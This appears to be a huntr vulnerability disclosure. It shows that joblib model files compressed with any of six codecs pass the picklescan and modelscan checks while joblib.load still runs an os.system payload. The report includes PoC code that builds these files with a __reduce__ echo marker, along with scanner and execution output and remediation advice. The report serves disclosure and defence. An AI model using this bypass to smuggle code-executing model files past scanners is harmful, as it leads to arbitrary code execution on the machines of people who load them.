huntr-poc-joblib-compression-codec-scanner-bypass

Compressed .joblib files evade picklescan (silent, exit 0) and modelscan (false-negative summary) while joblib.load decompresses + executes the __reduce__ payload

Summary

joblib.dump(obj, path, compress=(codec, level)) writes the pickle inside a joblib compressor container whose stream begins with a codec magic prefix. joblib.load() auto-detects that prefix and transparently decompresses the stream before unpickling — so the __reduce__ payload runs on load.

Neither picklescan nor modelscan decompresses these joblib codec streams. Both run pickle disassembly (pickletools.genops) directly on the compressed bytes. genops hits a non-pickle byte at position 0, raises, and both tools then treat the file as containing no dangerous globals. The malicious GLOBAL/REDUCE opcodes are never inspected.

Because compression is the default / recommended way to persist scikit-learn models (joblib.dump(model, "model.joblib", compress=3) is the canonical idiom in the sklearn docs), the common real-world artifact is exactly the unscanned case. This is a scanner false-negative / detection bypass, not a joblib bug — joblib documents that load executes arbitrary code; the point is that the tools whose entire job is to flag that payload before load report the file as clean.

• picklescan is the stronger bypass: it reports the file as scanned-and-clean with success exit code 0 (only a stderr WARNING).
• modelscan is a false-negative in its headline summary ("No issues found! 🎉", total_issues: 0) but does signal inconclusiveness via a recorded PICKLE_GENOPS error, scanned.total_scanned: 0, and a non-zero exit 3. That honest caveat is stated here for fairness — a CI gate keyed only on the summary / issue count still passes the file.

Affected / tested versions

Codecs demonstrated: zlib, gzip, bz2, lzma, xz, lz4 (all 6 joblib codecs), plus an uncompressed control.

Root cause (with code)

1. joblib writes a codec-prefixed container and auto-decompresses on load

joblib/compressor.py enumerates a magic prefix per codec:

_ZLIB_PREFIX = b"\x78"
_GZIP_PREFIX = b"\x1f\x8b"
_BZ2_PREFIX  = b"BZ"
_LZMA_PREFIX = b"\x5d\x00"
_XZ_PREFIX   = b"\xfd\x37\x7a\x58\x5a"
_LZ4_PREFIX  = b"\x04\x22\x4d\x18"

On load, joblib/numpy_pickle_utils.py :: _detect_compressor() peeks the first bytes and picks the matching decompressor — so the pickle underneath is transparently inflated before unpickling:

def _detect_compressor(fileobj):
    max_prefix_len = _get_prefixes_max_len()
    first_bytes = fileobj.peek(max_prefix_len) if hasattr(fileobj, "peek") else ...
    if first_bytes.startswith(_ZFILE_PREFIX):
        return "compat"
    else:
        for name, compressor in _COMPRESSORS.items():
            if first_bytes.startswith(compressor.prefix):
                return name          # -> decompress, then unpickle => __reduce__ runs
    return "not-compressed"

Observed first bytes of each crafted file (the codec magic, not a pickle \x80 opcode):

evil_none b'\x80\x04\x95...'   <- real pickle PROTO opcode (control)
evil_zlib b'x^%\xcc1\x0e...'   <- zlib  \x78
evil_gzip b'\x1f\x8b\x08...'   <- gzip  \x1f\x8b
evil_bz2  b'BZh31AY&...'       <- bz2   'BZ'
evil_lzma b']\x00\x00@...'     <- lzma  \x5d\x00
evil_xz   b'\xfd7zXZ\x00...'   <- xz    \xfd7zXZ
evil_lz4  b'\x04"M\x18@@...'   <- lz4   \x04"M\x18

2. The scanners disassemble the compressed bytes, never decompressing

modelscan — modelscan/model.py :: Model.open() opens the raw file:

def open(self) -> "Model":
    if self._stream:
        return self
    self._stream = open(self._source, "rb")   # raw bytes, no codec detection
    self._should_close_stream = True
    return self

The pickle scan then runs pickletools.genops over those raw bytes and records a PICKLE_GENOPS parse error.

picklescan — picklescan/scanner.py :: scan_pickle_bytes() calls _list_globals() (which drives genops) directly on the input stream. It only knows how to decompress ZIP archives (RelaxedZipFile); it has no handling for zlib/gzip/bz2/lzma/xz/lz4 raw codec streams. genops raises GenOpsError at position 0, and with no globals found the result is "clean".

Net effect for both tools: a non-pickle byte 0 → parse error → zero dangerous globals reported → the GLOBAL posix system / REDUCE opcodes inside the compressed body are never seen.

PoC

gen_jb.py crafts one file per codec whose __reduce__ returns (os.system, ("echo PWNED-<codec> > marker_<codec>",)):

class Evil:
    def __reduce__(self):
        codec = self._codec
        marker = os.path.join(WORK, f"marker_{codec}")
        return (os.system, (f"echo PWNED-{codec} > {marker}",))

for name, comp in {"none":0, "zlib":("zlib",3), "gzip":("gzip",3), "bz2":("bz2",3),
                   "lzma":("lzma",3), "xz":("xz",3), "lz4":("lz4",3)}.items():
    e = Evil(); e._codec = name
    joblib.dump(e, f"evil_{name}.joblib", compress=comp)

Then each file is scanned with picklescan -p and modelscan -p, and finally loaded with joblib.load() (exec_jb.py), checking for the marker.

Captured evidence (verbatim, reproduced on the versions above)

picklescan exit codes

none=1  zlib=0  gzip=0  bz2=0  lzma=0  xz=0  lz4=0

picklescan FULL — zlib (representative of all 6 compressed codecs)

WARNING: could not parse .../evil_zlib.joblib as pickle: at position 0, opcode b'x' unknown
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 0
Dangerous globals: 0
exit=0

picklescan FULL — none (uncompressed control) => threat IS detectable

.../evil_none.joblib: dangerous import 'posix system' FOUND
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 1
Suspicious globals: 0
Dangerous globals: 1
exit=1

modelscan exit codes

none=1  zlib=3  gzip=3  bz2=3  lzma=3  xz=3  lz4=3

modelscan human — none (control) vs zlib (compressed)

# control (none):
Total Issues: 1
  - Description: Use of unsafe operator 'system' from module 'posix'

# zlib (and every compressed codec):
 No issues found! 🎉
The following error was raised during a pickle scan:
Parsing error: at position 0, opcode b'x' unknown

modelscan JSON — evil_zlib.joblib

"summary": {"total_issues": 0, "scanned": {"total_scanned": 0}},
"issues": [],
"errors": [{"category": "PICKLE_GENOPS",
            "description": "Parsing error: at position 0, opcode b'x' unknown",
            "source": "evil_zlib.joblib"}]

joblib.load execution — marker written by os.system on load (all 7 files)

none  EXECUTED=True  PWNED-none
zlib  EXECUTED=True  PWNED-zlib
gzip  EXECUTED=True  PWNED-gzip
bz2   EXECUTED=True  PWNED-bz2
lzma  EXECUTED=True  PWNED-lzma
xz    EXECUTED=True  PWNED-xz
lz4   EXECUTED=True  PWNED-lz4

Interpretation: the uncompressed control is flagged as malicious by both tools (picklescan exit 1 / "dangerous import posix system FOUND"; modelscan exit 1 / "unsafe operator 'system'"). Wrapping the identical payload in any of joblib's 6 compression codecs makes picklescan report it clean with exit 0, and makes modelscan's headline summary say "No issues found!" with total_issues: 0 — yet joblib.load() still decompresses and executes the payload in every case.

Impact

• Detection bypass / false-negative in the two most common pre-load pickle scanners for the default sklearn persistence format. A model-registry / CI gate that runs picklescan (checks exit code or "Infected files") passes the malicious artifact.
• Arbitrary code execution follows from any downstream joblib.load() of the "clean" file — the standard way sklearn/joblib models are loaded.
• Silent for picklescan (exit 0, success). For modelscan a defender can notice via exit 3 / errors[] / total_scanned: 0, but the human summary and issue count do not reflect a threat.

Suggested remediation

Both scanners should detect joblib/generic codec magic prefixes (\x78, \x1f\x8b, BZ, \x5d\x00, \xfd7zXZ, \x04"M\x18) and decompress before disassembly (as picklescan already does for ZIP), or treat a genops parse error on a non-empty, non-pickle-magic file as inconclusive/suspicious rather than clean — especially never returning success exit 0 with Infected files: 0 for a file that could not actually be parsed.

Dedup note

• This is distinct from the joblib numeric-genops / stopbyte findings (those exploit how genops treats specific in-band numeric opcodes on uncompressed joblib pickles). Here the divergence is the container-level codec compression layer: the scanner sees codec magic at byte 0 and bails, while joblib.load transparently inflates and executes.
• Not the picklescan ZIP/EOCD-trailer bypass: that abuses ZIP central-directory parsing; this abuses raw (non-ZIP) codec streams that picklescan never decompresses at all.
• Related in spirit to prior "scanner scans the wrong bytes / container desync" class (e.g. npz PK05/06 desync), but the carrier, root cause, and affected format (default-compressed .joblib) are different.
• No known CVE assigns this specific joblib-codec-vs-scanner divergence at time of writing.